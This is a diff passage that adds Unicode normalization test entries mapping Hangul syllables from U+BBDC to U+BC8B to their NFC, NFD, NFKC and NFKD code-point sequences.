+{ source: [0xBBDC], NFC: [0xBBDC], NFD: [0x1106, 0x1174], NFKC: [0xBBDC], NFKD: [0x1106, 0x1174] },
+{ source: [0xBBDD], NFC: [0xBBDD], NFD: [0x1106, 0x1174, 0x11A8], NFKC: [0xBBDD], NFKD: [0x1106, 0x1174, 0x11A8] },
+{ source: [0xBBDE], NFC: [0xBBDE], NFD: [0x1106, 0x1174, 0x11A9], NFKC: [0xBBDE], NFKD: [0x1106, 0x1174, 0x11A9] },
+{ source: [0xBBDF], NFC: [0xBBDF], NFD: [0x1106, 0x1174, 0x11AA], NFKC: [0xBBDF], NFKD: [0x1106, 0x1174, 0x11AA] },
+{ source: [0xBBE0], NFC: [0xBBE0], NFD: [0x1106, 0x1174, 0x11AB], NFKC: [0xBBE0], NFKD: [0x1106, 0x1174, 0x11AB] },
+{ source: [0xBBE1], NFC: [0xBBE1], NFD: [0x1106, 0x1174, 0x11AC], NFKC: [0xBBE1], NFKD: [0x1106, 0x1174, 0x11AC] },
+{ source: [0xBBE2], NFC: [0xBBE2], NFD: [0x1106, 0x1174, 0x11AD], NFKC: [0xBBE2], NFKD: [0x1106, 0x1174, 0x11AD] },
+{ source: [0xBBE3], NFC: [0xBBE3], NFD: [0x1106, 0x1174, 0x11AE], NFKC: [0xBBE3], NFKD: [0x1106, 0x1174, 0x11AE] },
+{ source: [0xBBE4], NFC: [0xBBE4], NFD: [0x1106, 0x1174, 0x11AF], NFKC: [0xBBE4], NFKD: [0x1106, 0x1174, 0x11AF] },
+{ source: [0xBBE5], NFC: [0xBBE5], NFD: [0x1106, 0x1174, 0x11B0], NFKC: [0xBBE5], NFKD: [0x1106, 0x1174, 0x11B0] },
+{ source: [0xBBE6], NFC: [0xBBE6], NFD: [0x1106, 0x1174, 0x11B1], NFKC: [0xBBE6], NFKD: [0x1106, 0x1174, 0x11B1] },
+{ source: [0xBBE7], NFC: [0xBBE7], NFD: [0x1106, 0x1174, 0x11B2], NFKC: [0xBBE7], NFKD: [0x1106, 0x1174, 0x11B2] },
+{ source: [0xBBE8], NFC: [0xBBE8], NFD: [0x1106, 0x1174, 0x11B3], NFKC: [0xBBE8], NFKD: [0x1106, 0x1174, 0x11B3] },
+{ source: [0xBBE9], NFC: [0xBBE9], NFD: [0x1106, 0x1174, 0x11B4], NFKC: [0xBBE9], NFKD: [0x1106, 0x1174, 0x11B4] },
+{ source: [0xBBEA], NFC: [0xBBEA], NFD: [0x1106, 0x1174, 0x11B5], NFKC: [0xBBEA], NFKD: [0x1106, 0x1174, 0x11B5] },
+{ source: [0xBBEB], NFC: [0xBBEB], NFD: [0x1106, 0x1174, 0x11B6], NFKC: [0xBBEB], NFKD: [0x1106, 0x1174, 0x11B6] },
+{ source: [0xBBEC], NFC: [0xBBEC], NFD: [0x1106, 0x1174, 0x11B7], NFKC: [0xBBEC], NFKD: [0x1106, 0x1174, 0x11B7] },
+{ source: [0xBBED], NFC: [0xBBED], NFD: [0x1106, 0x1174, 0x11B8], NFKC: [0xBBED], NFKD: [0x1106, 0x1174, 0x11B8] },
+{ source: [0xBBEE], NFC: [0xBBEE], NFD: [0x1106, 0x1174, 0x11B9], NFKC: [0xBBEE], NFKD: [0x1106, 0x1174, 0x11B9] },
+{ source: [0xBBEF], NFC: [0xBBEF], NFD: [0x1106, 0x1174, 0x11BA], NFKC: [0xBBEF], NFKD: [0x1106, 0x1174, 0x11BA] },
+{ source: [0xBBF0], NFC: [0xBBF0], NFD: [0x1106, 0x1174, 0x11BB], NFKC: [0xBBF0], NFKD: [0x1106, 0x1174, 0x11BB] },
+{ source: [0xBBF1], NFC: [0xBBF1], NFD: [0x1106, 0x1174, 0x11BC], NFKC: [0xBBF1], NFKD: [0x1106, 0x1174, 0x11BC] },
+{ source: [0xBBF2], NFC: [0xBBF2], NFD: [0x1106, 0x1174, 0x11BD], NFKC: [0xBBF2], NFKD: [0x1106, 0x1174, 0x11BD] },
+{ source: [0xBBF3], NFC: [0xBBF3], NFD: [0x1106, 0x1174, 0x11BE], NFKC: [0xBBF3], NFKD: [0x1106, 0x1174, 0x11BE] },
+{ source: [0xBBF4], NFC: [0xBBF4], NFD: [0x1106, 0x1174, 0x11BF], NFKC: [0xBBF4], NFKD: [0x1106, 0x1174, 0x11BF] },
+{ source: [0xBBF5], NFC: [0xBBF5], NFD: [0x1106, 0x1174, 0x11C0], NFKC: [0xBBF5], NFKD: [0x1106, 0x1174, 0x11C0] },
+{ source: [0xBBF6], NFC: [0xBBF6], NFD: [0x1106, 0x1174, 0x11C1], NFKC: [0xBBF6], NFKD: [0x1106, 0x1174, 0x11C1] },
+{ source: [0xBBF7], NFC: [0xBBF7], NFD: [0x1106, 0x1174, 0x11C2], NFKC: [0xBBF7], NFKD: [0x1106, 0x1174, 0x11C2] },
+{ source: [0xBBF8], NFC: [0xBBF8], NFD: [0x1106, 0x1175], NFKC: [0xBBF8], NFKD: [0x1106, 0x1175] },
+{ source: [0xBBF9], NFC: [0xBBF9], NFD: [0x1106, 0x1175, 0x11A8], NFKC: [0xBBF9], NFKD: [0x1106, 0x1175, 0x11A8] },
+{ source: [0xBBFA], NFC: [0xBBFA], NFD: [0x1106, 0x1175, 0x11A9], NFKC: [0xBBFA], NFKD: [0x1106, 0x1175, 0x11A9] },
+{ source: [0xBBFB], NFC: [0xBBFB], NFD: [0x1106, 0x1175, 0x11AA], NFKC: [0xBBFB], NFKD: [0x1106, 0x1175, 0x11AA] },
+{ source: [0xBBFC], NFC: [0xBBFC], NFD: [0x1106, 0x1175, 0x11AB], NFKC: [0xBBFC], NFKD: [0x1106, 0x1175, 0x11AB] },
+{ source: [0xBBFD], NFC: [0xBBFD], NFD: [0x1106, 0x1175, 0x11AC], NFKC: [0xBBFD], NFKD: [0x1106, 0x1175, 0x11AC] },
+{ source: [0xBBFE], NFC: [0xBBFE], NFD: [0x1106, 0x1175, 0x11AD], NFKC: [0xBBFE], NFKD: [0x1106, 0x1175, 0x11AD] },
+{ source: [0xBBFF], NFC: [0xBBFF], NFD: [0x1106, 0x1175, 0x11AE], NFKC: [0xBBFF], NFKD: [0x1106, 0x1175, 0x11AE] },
+{ source: [0xBC00], NFC: [0xBC00], NFD: [0x1106, 0x1175, 0x11AF], NFKC: [0xBC00], NFKD: [0x1106, 0x1175, 0x11AF] },
+{ source: [0xBC01], NFC: [0xBC01], NFD: [0x1106, 0x1175, 0x11B0], NFKC: [0xBC01], NFKD: [0x1106, 0x1175, 0x11B0] },
+{ source: [0xBC02], NFC: [0xBC02], NFD: [0x1106, 0x1175, 0x11B1], NFKC: [0xBC02], NFKD: [0x1106, 0x1175, 0x11B1] },
+{ source: [0xBC03], NFC: [0xBC03], NFD: [0x1106, 0x1175, 0x11B2], NFKC: [0xBC03], NFKD: [0x1106, 0x1175, 0x11B2] },
+{ source: [0xBC04], NFC: [0xBC04], NFD: [0x1106, 0x1175, 0x11B3], NFKC: [0xBC04], NFKD: [0x1106, 0x1175, 0x11B3] },
+{ source: [0xBC05], NFC: [0xBC05], NFD: [0x1106, 0x1175, 0x11B4], NFKC: [0xBC05], NFKD: [0x1106, 0x1175, 0x11B4] },
+{ source: [0xBC06], NFC: [0xBC06], NFD: [0x1106, 0x1175, 0x11B5], NFKC: [0xBC06], NFKD: [0x1106, 0x1175, 0x11B5] },
+{ source: [0xBC07], NFC: [0xBC07], NFD: [0x1106, 0x1175, 0x11B6], NFKC: [0xBC07], NFKD: [0x1106, 0x1175, 0x11B6] },
+{ source: [0xBC08], NFC: [0xBC08], NFD: [0x1106, 0x1175, 0x11B7], NFKC: [0xBC08], NFKD: [0x1106, 0x1175, 0x11B7] },
+{ source: [0xBC09], NFC: [0xBC09], NFD: [0x1106, 0x1175, 0x11B8], NFKC: [0xBC09], NFKD: [0x1106, 0x1175, 0x11B8] },
+{ source: [0xBC0A], NFC: [0xBC0A], NFD: [0x1106, 0x1175, 0x11B9], NFKC: [0xBC0A], NFKD: [0x1106, 0x1175, 0x11B9] },
+{ source: [0xBC0B], NFC: [0xBC0B], NFD: [0x1106, 0x1175, 0x11BA], NFKC: [0xBC0B], NFKD: [0x1106, 0x1175, 0x11BA] },
+{ source: [0xBC0C], NFC: [0xBC0C], NFD: [0x1106, 0x1175, 0x11BB], NFKC: [0xBC0C], NFKD: [0x1106, 0x1175, 0x11BB] },
+{ source: [0xBC0D], NFC: [0xBC0D], NFD: [0x1106, 0x1175, 0x11BC], NFKC: [0xBC0D], NFKD: [0x1106, 0x1175, 0x11BC] },
+{ source: [0xBC0E], NFC: [0xBC0E], NFD: [0x1106, 0x1175, 0x11BD], NFKC: [0xBC0E], NFKD: [0x1106, 0x1175, 0x11BD] },
+{ source: [0xBC0F], NFC: [0xBC0F], NFD: [0x1106, 0x1175, 0x11BE], NFKC: [0xBC0F], NFKD: [0x1106, 0x1175, 0x11BE] },
+{ source: [0xBC10], NFC: [0xBC10], NFD: [0x1106, 0x1175, 0x11BF], NFKC: [0xBC10], NFKD: [0x1106, 0x1175, 0x11BF] },
+{ source: [0xBC11], NFC: [0xBC11], NFD: [0x1106, 0x1175, 0x11C0], NFKC: [0xBC11], NFKD: [0x1106, 0x1175, 0x11C0] },
+{ source: [0xBC12], NFC: [0xBC12], NFD: [0x1106, 0x1175, 0x11C1], NFKC: [0xBC12], NFKD: [0x1106, 0x1175, 0x11C1] },
+{ source: [0xBC13], NFC: [0xBC13], NFD: [0x1106, 0x1175, 0x11C2], NFKC: [0xBC13], NFKD: [0x1106, 0x1175, 0x11C2] },
+{ source: [0xBC14], NFC: [0xBC14], NFD: [0x1107, 0x1161], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0xBC15], NFC: [0xBC15], NFD: [0x1107, 0x1161, 0x11A8], NFKC: [0xBC15], NFKD: [0x1107, 0x1161, 0x11A8] },
+{ source: [0xBC16], NFC: [0xBC16], NFD: [0x1107, 0x1161, 0x11A9], NFKC: [0xBC16], NFKD: [0x1107, 0x1161, 0x11A9] },
+{ source: [0xBC17], NFC: [0xBC17], NFD: [0x1107, 0x1161, 0x11AA], NFKC: [0xBC17], NFKD: [0x1107, 0x1161, 0x11AA] },
+{ source: [0xBC18], NFC: [0xBC18], NFD: [0x1107, 0x1161, 0x11AB], NFKC: [0xBC18], NFKD: [0x1107, 0x1161, 0x11AB] },
+{ source: [0xBC19], NFC: [0xBC19], NFD: [0x1107, 0x1161, 0x11AC], NFKC: [0xBC19], NFKD: [0x1107, 0x1161, 0x11AC] },
+{ source: [0xBC1A], NFC: [0xBC1A], NFD: [0x1107, 0x1161, 0x11AD], NFKC: [0xBC1A], NFKD: [0x1107, 0x1161, 0x11AD] },
+{ source: [0xBC1B], NFC: [0xBC1B], NFD: [0x1107, 0x1161, 0x11AE], NFKC: [0xBC1B], NFKD: [0x1107, 0x1161, 0x11AE] },
+{ source: [0xBC1C], NFC: [0xBC1C], NFD: [0x1107, 0x1161, 0x11AF], NFKC: [0xBC1C], NFKD: [0x1107, 0x1161, 0x11AF] },
+{ source: [0xBC1D], NFC: [0xBC1D], NFD: [0x1107, 0x1161, 0x11B0], NFKC: [0xBC1D], NFKD: [0x1107, 0x1161, 0x11B0] },
+{ source: [0xBC1E], NFC: [0xBC1E], NFD: [0x1107, 0x1161, 0x11B1], NFKC: [0xBC1E], NFKD: [0x1107, 0x1161, 0x11B1] },
+{ source: [0xBC1F], NFC: [0xBC1F], NFD: [0x1107, 0x1161, 0x11B2], NFKC: [0xBC1F], NFKD: [0x1107, 0x1161, 0x11B2] },
+{ source: [0xBC20], NFC: [0xBC20], NFD: [0x1107, 0x1161, 0x11B3], NFKC: [0xBC20], NFKD: [0x1107, 0x1161, 0x11B3] },
+{ source: [0xBC21], NFC: [0xBC21], NFD: [0x1107, 0x1161, 0x11B4], NFKC: [0xBC21], NFKD: [0x1107, 0x1161, 0x11B4] },
+{ source: [0xBC22], NFC: [0xBC22], NFD: [0x1107, 0x1161, 0x11B5], NFKC: [0xBC22], NFKD: [0x1107, 0x1161, 0x11B5] },
+{ source: [0xBC23], NFC: [0xBC23], NFD: [0x1107, 0x1161, 0x11B6], NFKC: [0xBC23], NFKD: [0x1107, 0x1161, 0x11B6] },
+{ source: [0xBC24], NFC: [0xBC24], NFD: [0x1107, 0x1161, 0x11B7], NFKC: [0xBC24], NFKD: [0x1107, 0x1161, 0x11B7] },
+{ source: [0xBC25], NFC: [0xBC25], NFD: [0x1107, 0x1161, 0x11B8], NFKC: [0xBC25], NFKD: [0x1107, 0x1161, 0x11B8] },
+{ source: [0xBC26], NFC: [0xBC26], NFD: [0x1107, 0x1161, 0x11B9], NFKC: [0xBC26], NFKD: [0x1107, 0x1161, 0x11B9] },
+{ source: [0xBC27], NFC: [0xBC27], NFD: [0x1107, 0x1161, 0x11BA], NFKC: [0xBC27], NFKD: [0x1107, 0x1161, 0x11BA] },
+{ source: [0xBC28], NFC: [0xBC28], NFD: [0x1107, 0x1161, 0x11BB], NFKC: [0xBC28], NFKD: [0x1107, 0x1161, 0x11BB] },
+{ source: [0xBC29], NFC: [0xBC29], NFD: [0x1107, 0x1161, 0x11BC], NFKC: [0xBC29], NFKD: [0x1107, 0x1161, 0x11BC] },
+{ source: [0xBC2A], NFC: [0xBC2A], NFD: [0x1107, 0x1161, 0x11BD], NFKC: [0xBC2A], NFKD: [0x1107, 0x1161, 0x11BD] },
+{ source: [0xBC2B], NFC: [0xBC2B], NFD: [0x1107, 0x1161, 0x11BE], NFKC: [0xBC2B], NFKD: [0x1107, 0x1161, 0x11BE] },
+{ source: [0xBC2C], NFC: [0xBC2C], NFD: [0x1107, 0x1161, 0x11BF], NFKC: [0xBC2C], NFKD: [0x1107, 0x1161, 0x11BF] },
+{ source: [0xBC2D], NFC: [0xBC2D], NFD: [0x1107, 0x1161, 0x11C0], NFKC: [0xBC2D], NFKD: [0x1107, 0x1161, 0x11C0] },
+{ source: [0xBC2E], NFC: [0xBC2E], NFD: [0x1107, 0x1161, 0x11C1], NFKC: [0xBC2E], NFKD: [0x1107, 0x1161, 0x11C1] },
+{ source: [0xBC2F], NFC: [0xBC2F], NFD: [0x1107, 0x1161, 0x11C2], NFKC: [0xBC2F], NFKD: [0x1107, 0x1161, 0x11C2] },
+{ source: [0xBC30], NFC: [0xBC30], NFD: [0x1107, 0x1162], NFKC: [0xBC30], NFKD: [0x1107, 0x1162] },
+{ source: [0xBC31], NFC: [0xBC31], NFD: [0x1107, 0x1162, 0x11A8], NFKC: [0xBC31], NFKD: [0x1107, 0x1162, 0x11A8] },
+{ source: [0xBC32], NFC: [0xBC32], NFD: [0x1107, 0x1162, 0x11A9], NFKC: [0xBC32], NFKD: [0x1107, 0x1162, 0x11A9] },
+{ source: [0xBC33], NFC: [0xBC33], NFD: [0x1107, 0x1162, 0x11AA], NFKC: [0xBC33], NFKD: [0x1107, 0x1162, 0x11AA] },
+{ source: [0xBC34], NFC: [0xBC34], NFD: [0x1107, 0x1162, 0x11AB], NFKC: [0xBC34], NFKD: [0x1107, 0x1162, 0x11AB] },
+{ source: [0xBC35], NFC: [0xBC35], NFD: [0x1107, 0x1162, 0x11AC], NFKC: [0xBC35], NFKD: [0x1107, 0x1162, 0x11AC] },
+{ source: [0xBC36], NFC: [0xBC36], NFD: [0x1107, 0x1162, 0x11AD], NFKC: [0xBC36], NFKD: [0x1107, 0x1162, 0x11AD] },
+{ source: [0xBC37], NFC: [0xBC37], NFD: [0x1107, 0x1162, 0x11AE], NFKC: [0xBC37], NFKD: [0x1107, 0x1162, 0x11AE] },
+{ source: [0xBC38], NFC: [0xBC38], NFD: [0x1107, 0x1162, 0x11AF], NFKC: [0xBC38], NFKD: [0x1107, 0x1162, 0x11AF] },
+{ source: [0xBC39], NFC: [0xBC39], NFD: [0x1107, 0x1162, 0x11B0], NFKC: [0xBC39], NFKD: [0x1107, 0x1162, 0x11B0] },
+{ source: [0xBC3A], NFC: [0xBC3A], NFD: [0x1107, 0x1162, 0x11B1], NFKC: [0xBC3A], NFKD: [0x1107, 0x1162, 0x11B1] },
+{ source: [0xBC3B], NFC: [0xBC3B], NFD: [0x1107, 0x1162, 0x11B2], NFKC: [0xBC3B], NFKD: [0x1107, 0x1162, 0x11B2] },
+{ source: [0xBC3C], NFC: [0xBC3C], NFD: [0x1107, 0x1162, 0x11B3], NFKC: [0xBC3C], NFKD: [0x1107, 0x1162, 0x11B3] },
+{ source: [0xBC3D], NFC: [0xBC3D], NFD: [0x1107, 0x1162, 0x11B4], NFKC: [0xBC3D], NFKD: [0x1107, 0x1162, 0x11B4] },
+{ source: [0xBC3E], NFC: [0xBC3E], NFD: [0x1107, 0x1162, 0x11B5], NFKC: [0xBC3E], NFKD: [0x1107, 0x1162, 0x11B5] },
+{ source: [0xBC3F], NFC: [0xBC3F], NFD: [0x1107, 0x1162, 0x11B6], NFKC: [0xBC3F], NFKD: [0x1107, 0x1162, 0x11B6] },
+{ source: [0xBC40], NFC: [0xBC40], NFD: [0x1107, 0x1162, 0x11B7], NFKC: [0xBC40], NFKD: [0x1107, 0x1162, 0x11B7] },
+{ source: [0xBC41], NFC: [0xBC41], NFD: [0x1107, 0x1162, 0x11B8], NFKC: [0xBC41], NFKD: [0x1107, 0x1162, 0x11B8] },
+{ source: [0xBC42], NFC: [0xBC42], NFD: [0x1107, 0x1162, 0x11B9], NFKC: [0xBC42], NFKD: [0x1107, 0x1162, 0x11B9] },
+{ source: [0xBC43], NFC: [0xBC43], NFD: [0x1107, 0x1162, 0x11BA], NFKC: [0xBC43], NFKD: [0x1107, 0x1162, 0x11BA] },
+{ source: [0xBC44], NFC: [0xBC44], NFD: [0x1107, 0x1162, 0x11BB], NFKC: [0xBC44], NFKD: [0x1107, 0x1162, 0x11BB] },
+{ source: [0xBC45], NFC: [0xBC45], NFD: [0x1107, 0x1162, 0x11BC], NFKC: [0xBC45], NFKD: [0x1107, 0x1162, 0x11BC] },
+{ source: [0xBC46], NFC: [0xBC46], NFD: [0x1107, 0x1162, 0x11BD], NFKC: [0xBC46], NFKD: [0x1107, 0x1162, 0x11BD] },
+{ source: [0xBC47], NFC: [0xBC47], NFD: [0x1107, 0x1162, 0x11BE], NFKC: [0xBC47], NFKD: [0x1107, 0x1162, 0x11BE] },
+{ source: [0xBC48], NFC: [0xBC48], NFD: [0x1107, 0x1162, 0x11BF], NFKC: [0xBC48], NFKD: [0x1107, 0x1162, 0x11BF] },
+{ source: [0xBC49], NFC: [0xBC49], NFD: [0x1107, 0x1162, 0x11C0], NFKC: [0xBC49], NFKD: [0x1107, 0x1162, 0x11C0] },
+{ source: [0xBC4A], NFC: [0xBC4A], NFD: [0x1107, 0x1162, 0x11C1], NFKC: [0xBC4A], NFKD: [0x1107, 0x1162, 0x11C1] },
+{ source: [0xBC4B], NFC: [0xBC4B], NFD: [0x1107, 0x1162, 0x11C2], NFKC: [0xBC4B], NFKD: [0x1107, 0x1162, 0x11C2] },
+{ source: [0xBC4C], NFC: [0xBC4C], NFD: [0x1107, 0x1163], NFKC: [0xBC4C], NFKD: [0x1107, 0x1163] },
+{ source: [0xBC4D], NFC: [0xBC4D], NFD: [0x1107, 0x1163, 0x11A8], NFKC: [0xBC4D], NFKD: [0x1107, 0x1163, 0x11A8] },
+{ source: [0xBC4E], NFC: [0xBC4E], NFD: [0x1107, 0x1163, 0x11A9], NFKC: [0xBC4E], NFKD: [0x1107, 0x1163, 0x11A9] },
+{ source: [0xBC4F], NFC: [0xBC4F], NFD: [0x1107, 0x1163, 0x11AA], NFKC: [0xBC4F], NFKD: [0x1107, 0x1163, 0x11AA] },
+{ source: [0xBC50], NFC: [0xBC50], NFD: [0x1107, 0x1163, 0x11AB], NFKC: [0xBC50], NFKD: [0x1107, 0x1163, 0x11AB] },
+{ source: [0xBC51], NFC: [0xBC51], NFD: [0x1107, 0x1163, 0x11AC], NFKC: [0xBC51], NFKD: [0x1107, 0x1163, 0x11AC] },
+{ source: [0xBC52], NFC: [0xBC52], NFD: [0x1107, 0x1163, 0x11AD], NFKC: [0xBC52], NFKD: [0x1107, 0x1163, 0x11AD] },
+{ source: [0xBC53], NFC: [0xBC53], NFD: [0x1107, 0x1163, 0x11AE], NFKC: [0xBC53], NFKD: [0x1107, 0x1163, 0x11AE] },
+{ source: [0xBC54], NFC: [0xBC54], NFD: [0x1107, 0x1163, 0x11AF], NFKC: [0xBC54], NFKD: [0x1107, 0x1163, 0x11AF] },
+{ source: [0xBC55], NFC: [0xBC55], NFD: [0x1107, 0x1163, 0x11B0], NFKC: [0xBC55], NFKD: [0x1107, 0x1163, 0x11B0] },
+{ source: [0xBC56], NFC: [0xBC56], NFD: [0x1107, 0x1163, 0x11B1], NFKC: [0xBC56], NFKD: [0x1107, 0x1163, 0x11B1] },
+{ source: [0xBC57], NFC: [0xBC57], NFD: [0x1107, 0x1163, 0x11B2], NFKC: [0xBC57], NFKD: [0x1107, 0x1163, 0x11B2] },
+{ source: [0xBC58], NFC: [0xBC58], NFD: [0x1107, 0x1163, 0x11B3], NFKC: [0xBC58], NFKD: [0x1107, 0x1163, 0x11B3] },
+{ source: [0xBC59], NFC: [0xBC59], NFD: [0x1107, 0x1163, 0x11B4], NFKC: [0xBC59], NFKD: [0x1107, 0x1163, 0x11B4] },
+{ source: [0xBC5A], NFC: [0xBC5A], NFD: [0x1107, 0x1163, 0x11B5], NFKC: [0xBC5A], NFKD: [0x1107, 0x1163, 0x11B5] },
+{ source: [0xBC5B], NFC: [0xBC5B], NFD: [0x1107, 0x1163, 0x11B6], NFKC: [0xBC5B], NFKD: [0x1107, 0x1163, 0x11B6] },
+{ source: [0xBC5C], NFC: [0xBC5C], NFD: [0x1107, 0x1163, 0x11B7], NFKC: [0xBC5C], NFKD: [0x1107, 0x1163, 0x11B7] },
+{ source: [0xBC5D], NFC: [0xBC5D], NFD: [0x1107, 0x1163, 0x11B8], NFKC: [0xBC5D], NFKD: [0x1107, 0x1163, 0x11B8] },
+{ source: [0xBC5E], NFC: [0xBC5E], NFD: [0x1107, 0x1163, 0x11B9], NFKC: [0xBC5E], NFKD: [0x1107, 0x1163, 0x11B9] },
+{ source: [0xBC5F], NFC: [0xBC5F], NFD: [0x1107, 0x1163, 0x11BA], NFKC: [0xBC5F], NFKD: [0x1107, 0x1163, 0x11BA] },
+{ source: [0xBC60], NFC: [0xBC60], NFD: [0x1107, 0x1163, 0x11BB], NFKC: [0xBC60], NFKD: [0x1107, 0x1163, 0x11BB] },
+{ source: [0xBC61], NFC: [0xBC61], NFD: [0x1107, 0x1163, 0x11BC], NFKC: [0xBC61], NFKD: [0x1107, 0x1163, 0x11BC] },
+{ source: [0xBC62], NFC: [0xBC62], NFD: [0x1107, 0x1163, 0x11BD], NFKC: [0xBC62], NFKD: [0x1107, 0x1163, 0x11BD] },
+{ source: [0xBC63], NFC: [0xBC63], NFD: [0x1107, 0x1163, 0x11BE], NFKC: [0xBC63], NFKD: [0x1107, 0x1163, 0x11BE] },
+{ source: [0xBC64], NFC: [0xBC64], NFD: [0x1107, 0x1163, 0x11BF], NFKC: [0xBC64], NFKD: [0x1107, 0x1163, 0x11BF] },
+{ source: [0xBC65], NFC: [0xBC65], NFD: [0x1107, 0x1163, 0x11C0], NFKC: [0xBC65], NFKD: [0x1107, 0x1163, 0x11C0] },
+{ source: [0xBC66], NFC: [0xBC66], NFD: [0x1107, 0x1163, 0x11C1], NFKC: [0xBC66], NFKD: [0x1107, 0x1163, 0x11C1] },
+{ source: [0xBC67], NFC: [0xBC67], NFD: [0x1107, 0x1163, 0x11C2], NFKC: [0xBC67], NFKD: [0x1107, 0x1163, 0x11C2] },
+{ source: [0xBC68], NFC: [0xBC68], NFD: [0x1107, 0x1164], NFKC: [0xBC68], NFKD: [0x1107, 0x1164] },
+{ source: [0xBC69], NFC: [0xBC69], NFD: [0x1107, 0x1164, 0x11A8], NFKC: [0xBC69], NFKD: [0x1107, 0x1164, 0x11A8] },
+{ source: [0xBC6A], NFC: [0xBC6A], NFD: [0x1107, 0x1164, 0x11A9], NFKC: [0xBC6A], NFKD: [0x1107, 0x1164, 0x11A9] },
+{ source: [0xBC6B], NFC: [0xBC6B], NFD: [0x1107, 0x1164, 0x11AA], NFKC: [0xBC6B], NFKD: [0x1107, 0x1164, 0x11AA] },
+{ source: [0xBC6C], NFC: [0xBC6C], NFD: [0x1107, 0x1164, 0x11AB], NFKC: [0xBC6C], NFKD: [0x1107, 0x1164, 0x11AB] },
+{ source: [0xBC6D], NFC: [0xBC6D], NFD: [0x1107, 0x1164, 0x11AC], NFKC: [0xBC6D], NFKD: [0x1107, 0x1164, 0x11AC] },
+{ source: [0xBC6E], NFC: [0xBC6E], NFD: [0x1107, 0x1164, 0x11AD], NFKC: [0xBC6E], NFKD: [0x1107, 0x1164, 0x11AD] },
+{ source: [0xBC6F], NFC: [0xBC6F], NFD: [0x1107, 0x1164, 0x11AE], NFKC: [0xBC6F], NFKD: [0x1107, 0x1164, 0x11AE] },
+{ source: [0xBC70], NFC: [0xBC70], NFD: [0x1107, 0x1164, 0x11AF], NFKC: [0xBC70], NFKD: [0x1107, 0x1164, 0x11AF] },
+{ source: [0xBC71], NFC: [0xBC71], NFD: [0x1107, 0x1164, 0x11B0], NFKC: [0xBC71], NFKD: [0x1107, 0x1164, 0x11B0] },
+{ source: [0xBC72], NFC: [0xBC72], NFD: [0x1107, 0x1164, 0x11B1], NFKC: [0xBC72], NFKD: [0x1107, 0x1164, 0x11B1] },
+{ source: [0xBC73], NFC: [0xBC73], NFD: [0x1107, 0x1164, 0x11B2], NFKC: [0xBC73], NFKD: [0x1107, 0x1164, 0x11B2] },
+{ source: [0xBC74], NFC: [0xBC74], NFD: [0x1107, 0x1164, 0x11B3], NFKC: [0xBC74], NFKD: [0x1107, 0x1164, 0x11B3] },
+{ source: [0xBC75], NFC: [0xBC75], NFD: [0x1107, 0x1164, 0x11B4], NFKC: [0xBC75], NFKD: [0x1107, 0x1164, 0x11B4] },
+{ source: [0xBC76], NFC: [0xBC76], NFD: [0x1107, 0x1164, 0x11B5], NFKC: [0xBC76], NFKD: [0x1107, 0x1164, 0x11B5] },
+{ source: [0xBC77], NFC: [0xBC77], NFD: [0x1107, 0x1164, 0x11B6], NFKC: [0xBC77], NFKD: [0x1107, 0x1164, 0x11B6] },
+{ source: [0xBC78], NFC: [0xBC78], NFD: [0x1107, 0x1164, 0x11B7], NFKC: [0xBC78], NFKD: [0x1107, 0x1164, 0x11B7] },
+{ source: [0xBC79], NFC: [0xBC79], NFD: [0x1107, 0x1164, 0x11B8], NFKC: [0xBC79], NFKD: [0x1107, 0x1164, 0x11B8] },
+{ source: [0xBC7A], NFC: [0xBC7A], NFD: [0x1107, 0x1164, 0x11B9], NFKC: [0xBC7A], NFKD: [0x1107, 0x1164, 0x11B9] },
+{ source: [0xBC7B], NFC: [0xBC7B], NFD: [0x1107, 0x1164, 0x11BA], NFKC: [0xBC7B], NFKD: [0x1107, 0x1164, 0x11BA] },
+{ source: [0xBC7C], NFC: [0xBC7C], NFD: [0x1107, 0x1164, 0x11BB], NFKC: [0xBC7C], NFKD: [0x1107, 0x1164, 0x11BB] },
+{ source: [0xBC7D], NFC: [0xBC7D], NFD: [0x1107, 0x1164, 0x11BC], NFKC: [0xBC7D], NFKD: [0x1107, 0x1164, 0x11BC] },
+{ source: [0xBC7E], NFC: [0xBC7E], NFD: [0x1107, 0x1164, 0x11BD], NFKC: [0xBC7E], NFKD: [0x1107, 0x1164, 0x11BD] },
+{ source: [0xBC7F], NFC: [0xBC7F], NFD: [0x1107, 0x1164, 0x11BE], NFKC: [0xBC7F], NFKD: [0x1107, 0x1164, 0x11BE] },
+{ source: [0xBC80], NFC: [0xBC80], NFD: [0x1107, 0x1164, 0x11BF], NFKC: [0xBC80], NFKD: [0x1107, 0x1164, 0x11BF] },
+{ source: [0xBC81], NFC: [0xBC81], NFD: [0x1107, 0x1164, 0x11C0], NFKC: [0xBC81], NFKD: [0x1107, 0x1164, 0x11C0] },
+{ source: [0xBC82], NFC: [0xBC82], NFD: [0x1107, 0x1164, 0x11C1], NFKC: [0xBC82], NFKD: [0x1107, 0x1164, 0x11C1] },
+{ source: [0xBC83], NFC: [0xBC83], NFD: [0x1107, 0x1164, 0x11C2], NFKC: [0xBC83], NFKD: [0x1107, 0x1164, 0x11C2] },
+{ source: [0xBC84], NFC: [0xBC84], NFD: [0x1107, 0x1165], NFKC: [0xBC84], NFKD: [0x1107, 0x1165] },
+{ source: [0xBC85], NFC: [0xBC85], NFD: [0x1107, 0x1165, 0x11A8], NFKC: [0xBC85], NFKD: [0x1107, 0x1165, 0x11A8] },
+{ source: [0xBC86], NFC: [0xBC86], NFD: [0x1107, 0x1165, 0x11A9], NFKC: [0xBC86], NFKD: [0x1107, 0x1165, 0x11A9] },
+{ source: [0xBC87], NFC: [0xBC87], NFD: [0x1107, 0x1165, 0x11AA], NFKC: [0xBC87], NFKD: [0x1107, 0x1165, 0x11AA] },
+{ source: [0xBC88], NFC: [0xBC88], NFD: [0x1107, 0x1165, 0x11AB], NFKC: [0xBC88], NFKD: [0x1107, 0x1165, 0x11AB] },
+{ source: [0xBC89], NFC: [0xBC89], NFD: [0x1107, 0x1165, 0x11AC], NFKC: [0xBC89], NFKD: [0x1107, 0x1165, 0x11AC] },
+{ source: [0xBC8A], NFC: [0xBC8A], NFD: [0x1107, 0x1165, 0x11AD], NFKC: [0xBC8A], NFKD: [0x1107, 0x1165, 0x11AD] },
+{ source: [0xBC8B], NFC: [0xBC8B], NFD: [0x1107, 0x1165, 0x11AE], NFKC: [0xBC8B], NFKD: [0x1107, 0x1165, 0x11AE] },
